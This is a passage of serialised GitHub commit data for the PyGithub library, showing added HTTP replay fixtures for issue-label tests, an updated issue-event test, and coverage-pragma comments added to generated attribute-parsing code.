\"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15819975\" )\r\n+ self.assertEqual( self.event.commit_id, \"ed866fc43833802ab553e5ff8581c81bb00dd433\" )\r\n+ self.assertEqual( self.event.created_at, \"2012-05-27T07:29:25Z\" )\r\n+ self.assertEqual( self.event.event, \"referenced\" )\r\n+ self.assertEqual( self.event.id, 16348656 )\r\n+ self.assertEqual( self.event.issue.number, 30 )\r\n+ self.assertEqual( self.event.url, \"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16348656\" )\r","status":"modified","deletions":7,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/IssueEvent.py","changes":14,"additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/IssueEvent.py","filename":"test/IssueEvent.py"},{"patch":"@@ -0,0 +1,45 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","status":"added","deletions":0,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","changes":45,"additions":45,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt"},{"patch":"@@ -0,0 +1,35 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","status":"added","deletions":0,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","changes":35,"additions":35,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt"},{"patch":"@@ -0,0 +1,5 @@\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","status":"added","deletions":0,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","changes":5,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt"},{"patch":"@@ -1,15 +1,15 @@\n GET /user {'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4907'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"99c9bfb75395b749e9913a4729126fb5\"'), ('date', 'Sun, 27 May 2012 07:19:30 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"private_gists\":5,\"type\":\"User\",\"company\":\"Criteo\",\"location\":\"Paris, France\",\"hireable\":false,\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"bio\":\"\",\"following\":24,\"blog\":\"http://vincent-jacques.net\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"total_private_repos\":5,\"followers\":13,\"owned_private_repos\":5,\"disk_usage\":16976,\"collaborators\":0,\"html_url\":\"https://github.com/jacquev6\",\"url\":\"https://api.github.com/users/jacquev6\",\"name\":\"Vincent Jacques\",\"login\":\"jacquev6\",\"public_repos\":11,\"public_gists\":3,\"email\":\"vincent@vincent-jacques.net\",\"id\":327146,\"plan\":{\"private_repos\":5,\"collaborators\":1,\"name\":\"micro\",\"space\":614400},\"created_at\":\"2010-07-09T06:10:06Z\"}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"8974bb1628a3e3a6d3eb3b08c1b5a46b\"'), ('date', 'Sun, 27 May 2012 07:32:54 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"type\":\"User\",\"bio\":\"\",\"disk_usage\":16976,\"total_private_repos\":5,\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"owned_private_repos\":5,\"collaborators\":0,\"plan\":{\"collaborators\":1,\"private_repos\":5,\"name\":\"micro\",\"space\":614400},\"company\":\"Criteo\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"email\":\"vincent@vincent-jacques.net\",\"public_gists\":3,\"followers\":13,\"name\":\"Vincent Jacques\",\"created_at\":\"2010-07-09T06:10:06Z\",\"blog\":\"http://vincent-jacques.net\",\"location\":\"Paris, France\",\"hireable\":false,\"id\":327146,\"private_gists\":5,\"public_repos\":11,\"following\":24,\"html_url\":\"https://github.com/jacquev6\"}\n \n GET /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4906'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"4c20acf0b23f75bbf25106b1a04f65a5\"'), ('date', 'Sun, 27 May 2012 07:19:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"description\":\"Python library implementing the full Github API v3\",\"full_name\":\"jacquev6/PyGithub\",\"has_wiki\":false,\"has_issues\":true,\"updated_at\":\"2012-05-27T06:55:28Z\",\"forks\":3,\"mirror_url\":null,\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"open_issues\":16,\"fork\":false,\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"pushed_at\":\"2012-05-27T06:00:28Z\",\"size\":308,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"private\":false,\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"owner\":{\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"url\":\"https://api.github.com/users/jacquev6\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"has_downloads\":true,\"language\":\"Python\",\"watchers\":15,\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"id\":3544490,\"permissions\":{\"admin\":true,\"pull\":true,\"push\":true},\"created_at\":\"2012-02-25T12:53:47Z\"}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"f1e4eb3993a364b66b68ec9db42405bd\"'), ('date', 'Sun, 27 May 2012 07:32:55 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"has_downloads\":true,\"watchers\":15,\"updated_at\":\"2012-05-27T07:29:24Z\",\"permissions\":{\"pull\":true,\"admin\":true,\"push\":true},\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"mirror_url\":null,\"has_wiki\":false,\"has_issues\":true,\"fork\":false,\"forks\":3,\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"size\":308,\"private\":false,\"open_issues\":16,\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"owner\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"language\":\"Python\",\"description\":\"Python library implementing the full Github API v3\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"pushed_at\":\"2012-05-27T07:29:24Z\",\"created_at\":\"2012-02-25T12:53:47Z\",\"id\":3544490,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"full_name\":\"jacquev6/PyGithub\"}\n \n-GET /repos/jacquev6/PyGithub/issues/events/15819975 {'Authorization': 'Basic login_and_password_removed'} null\n+GET /repos/jacquev6/PyGithub/issues/events/16348656 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4905'), ('content-length', '2430'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"a3d244842d23f92f69a23e21626fad11\"'), ('date', 'Sun, 27 May 2012 07:19:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15819975\",\"issue\":{\"updated_at\":\"2012-05-26T14:59:33Z\",\"body\":\"Body edited by PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/28\",\"comments\":0,\"milestone\":{\"creator\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/milestones/1\",\"number\":1,\"title\":\"Version 0.4\",\"due_on\":\"2012-03-13T07:00:00Z\",\"closed_issues\":3,\"open_issues\":0,\"created_at\":\"2012-03-08T12:22:10Z\",\"state\":\"closed\",\"description\":\"\",\"id\":93546},\"number\":28,\"assignee\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"closed_at\":\"2012-05-26T14:59:33Z\",\"title\":\"Issue created by PyGithub\",\"labels\":[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}],\"created_at\":\"2012-05-19T10:38:23Z\",\"state\":\"closed\",\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"id\":4653757,\"pull_request\":{\"diff_url\":null,\"patch_url\":null,\"html_url\":null},\"html_url\":\"https://github.com/jacquev6/PyGithub/issues/28\"},\"commit_id\":null,\"created_at\":\"2012-05-19T10:38:23Z\",\"event\":\"subscribed\",\"id\":15819975,\"actor\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146}}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '1384'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fefecab09e7355d4ef9875677c2631da\"'), ('date', 'Sun, 27 May 2012 07:32:56 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16348656\",\"issue\":{\"updated_at\":\"2012-05-27T07:27:51Z\",\"body\":\"Body created by PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/30\",\"comments\":0,\"milestone\":null,\"number\":30,\"assignee\":null,\"closed_at\":null,\"title\":\"Issue also created by PyGithub\",\"labels\":[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}],\"created_at\":\"2012-05-27T05:40:15Z\",\"state\":\"open\",\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\"},\"id\":4769659,\"pull_request\":{\"patch_url\":null,\"diff_url\":null,\"html_url\":null},\"html_url\":\"https://github.com/jacquev6/PyGithub/issues/30\"},\"commit_id\":\"ed866fc43833802ab553e5ff8581c81bb00dd433\",\"created_at\":\"2012-05-27T07:29:25Z\",\"event\":\"referenced\",\"id\":16348656,\"actor\":{\"url\":\"https://api.github.com/users/jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\"}}\n ","status":"modified","deletions":7,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/IssueEvent.setUp.txt","changes":14,"additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/IssueEvent.setUp.txt","filename":"test/ReplayData/IssueEvent.setUp.txt"}] - +[{"patch":"@@ -70,7 +70,7 @@ def __useAttributes( self, attributes ):\n \n # @toto No need to check if attribute is in attributes when attribute is mandatory\n {% for attribute in class.attributes|dictsort:\"name\" %}\n- if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None:\n+ if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None: # pragma no branch\n \n {% if attribute.type.cardinality == \"scalar\" %}\n {% if attribute.type.simple %}","status":"modified","deletions":1,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py","changes":2,"additions":1,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py","filename":"codegen/templates/GithubObject.py"},{"patch":"@@ -568,78 +568,78 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"bio\", \"blog\", \"collaborators\", \"company\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"hireable\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"bio\" in attributes and attributes[ \"bio\" ] is not None:\n+ if \"bio\" in attributes and attributes[ \"bio\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"bio\" ], str )\n self.__bio = attributes[ \"bio\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and 